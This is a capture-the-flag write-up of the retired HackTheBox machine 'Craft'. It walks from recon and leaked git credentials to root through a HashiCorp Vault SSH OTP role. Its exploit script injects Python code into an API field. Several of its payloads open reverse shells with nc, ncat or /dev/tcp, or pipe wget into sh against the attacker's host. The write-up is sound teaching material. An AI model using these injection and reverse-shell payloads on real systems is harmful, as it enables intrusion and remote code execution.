HTB: Craft
Posted on 05 Jan 2020 in security • 6 min read
This is a writeup about a retired HacktheBox machine: Craft This box is classified as a medium machine. The user part is quit long and involve to find "secrets" in a git repository, access an API to get a reverse shell and manipulate a MySQL database in a jailed environment. The root part is quit easier and involve to interact with a vault instance.
User
Recon
We start with an nmap scan. Only the ports 22, 6022 (SSH) and 443 (HTTPS) are open.
# Nmap 7.80 scan initiated Fri Nov 8 15:33:42 2019 as: nmap -p- -sSV -oA 10.10.10.110 10.10.10.110
Nmap scan report for 10.10.10.110
Host is up (0.15s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp open ssl/http nginx 1.15.8
6022/tcp open ssh (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=11/8%Time=5DC57F7D%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 8 15:45:26 2019 -- 1 IP address (1 host up) scanned in 704.14 seconds
Web
The website present the Craft database for beers!
Craft aims to be the largest repository of US-produced craft brews accessible over REST. In the future we will release a mobile app to interface with our public rest API as well as a brew submission process, but for now, check out our API!
There is also a link to a gogs as well as the API. This
links redirect to some subdomain. Let us add some informations in our
/etc/hosts
.
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kalili
10.10.10.110 craft.htb
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb
GOGS
On the gogs commit we can found the credentials of an user used for testing purpose in
the commit 10e3ba4f0a09c778d7cec673f28d410b73455a86
in the file
test/test.py
.
This creds allow us to interct with the API. Moreover the test.py
script take
care to generate a valid token and let us directly interact with the API. The
quote are a bit a pain in the ass here. Nevertheless we can validate the code
execution using a python simpleHTTPserver on our end and execute wget 10.10.14.51:8081/$(<command>)
server side.
At least we get a reverse shell.
#!/usr/bin/env python
import requests
import json
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
#response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False, proxies=proxies)
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
print("Create bogus ABV brew")
brew_dict = {}
#brew_dict['abv'] = '__import__("os").system("/bin/bash -i >& /dev/tcp/10.10.14.51/7777 0>&1")'
#brew_dict['abv'] = '__import__("os").system("wget 10.10.14.51:8081/$(ls ./lolll.sh)")'
#brew_dict['abv'] = '__import__("os").system("ncat 10.10.14.51 4444 -e /bin/sh &")'
#brew_dict['abv'] = '__import__("os").system("wget -O - 10.10.14.51:8081/shell.py | sh")'
brew_dict['abv'] = '__import__(\'os\').popen(\'nc 10.10.14.194 7777 -e /bin/sh\').read()'
#brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
print json_data
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
API: reverse shell
Once we get a relay on the box we notice that we are root… but in a docker.
cat release_agent
/var/lib/docker/overlay2/28e271a4328612a47294bbae8c8b7f01470e29454eef499b5beda147a55000e0/diff/c
uname -a
Linux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux
cat /proc/1/cgroup
10:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
9:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
8:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
7:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
6:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
5:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
4:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
3:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
2:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
MySQL
We explorer the application folder and found some database settings.
cat craft_api/settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
In order to have a "better" shell we can use /bin/sh -i
There is a dbtest.py
script that allow us to test the connection to the
database. We cat that script in a new one in order to change the SQL line to
list the users
's table. At first I tried with a from users
. As there was no
result I tried with the following:
/opt/app # head -n 15 dbtest.py > dbtest2.py
/opt/app # echo ' sql = "SELECT * from user"' >>dbtest2.py
/opt/app # echo ' sql = "SELECT * from user"' >>dbtest2.py
/opt/app # tail -n 6 dbtest.py >> dbtest2.py
/opt/app # python dbtest2.py
{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}
We get only one user because the dbtest.py
script use the cursor.fetchone()
function.
The pymysql
documentation
indicate that we want to use the cursor.fetchall()
function. We modify our
"script":
/opt/app # head -n 15 dbtest.py > dbtest2.py
/opt/app # echo ' sql = "SELECT * from user"' >>dbtest2.py
/opt/app # echo ' cursor.execute(sql)'>>dbtest2.py
/opt/app # echo ' result = cursor.fetchall()'>>dbtest2.py
/opt/app # tail -n 4 dbtest.py >>dbtest2.py
/opt/app # python dbtest2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
We can then connect to the GOGS with the gilfoyle
credentials.
This user has a private repository containing sensitive information as his private
SSH key. The key is protected by a passphrase. That passhrase is his password!
We need to copy his private and public key in our .ssh
folder. We also need to
change the private key permission (chmod 600
). We can then SSH to the machine
and get the user flag:
ssh craft.htb -l gilfoyle
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key '/root/.ssh/id_rsa':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$ ls
user.txt
gilfoyle@craft:~$ cat user.txt
bbf4b<redacted>
getting root
enumeration
When listing the gilfoyle
home folder we found a .vault-token
file
containing a vault token.
gilfoyle@craft:~$ ls -al
total 36
drwx------ 4 gilfoyle gilfoyle 4096 Feb 9 2019 .
drwxr-xr-x 3 root root 4096 Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2546 Feb 9 2019 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Vault
In order to use vault, when need to authenticate ourself with the token.
gilfoyle@craft:~$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
We are member of the vault's root policy meaning that we can access everything stored on the vault.
The vault is unsealed. Therefore we can directly access to the data. If this vault was sealed we will need 3 of the 5 keys to unsealed the vault (with the shamir seal type).
gilfoyle@craft:~$ vault status
Key Value
--- -----
Seal Type shamir
Initialized false
Sealed false
Total Shares 5
Threshold 3
Version 0.11.1
Cluster Name vault-cluster-cb7e66f9
Cluster ID 8bb98351-0148-3c42-d124-45a87dc43db7
HA Enabled false
We can list the secret engine enable on the vault.
gilfoyle@craft:~$ vault secrets list
Path Type Accessor Description
---- ---- -------- -----------
cubbyhole/ cubbyhole cubbyhole_ffc9a6e5 per-token private secret storage
identity/ identity identity_56533c34 identity store
secret/ kv kv_2d9b0109 key/value secret storage
ssh/ ssh ssh_3bbd5276 n/a
sys/ system system_477ec595 system endpoints used for control, policy and debugging
In the craf-infra
repository there is a vault
folder containing a
secret.sh
file. This file show wich secrets are created: An ssh acces for the
root user.
craft-infra/vault# cat secrets.sh
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
Therefore we just need to use the vault
's ssh
command to connect as root
on localhost
with the otp
mode. We are root on the machine and can access
the flag.
gilfoyle@craft:~$ vault ssh -mode=otp root@127.0.0.1
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: fb100502-b40c-9f60-aa35-f90a5000a2a3
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# cat root.txt
831d6<redacted>
Wrapping up
This box was really interesting as everything is applicable in real life. The user part was quit long (compared to the user part) and getting a working reverse shell was a brain crusher. For the root part it was quit easy but allow me to learn more about vault.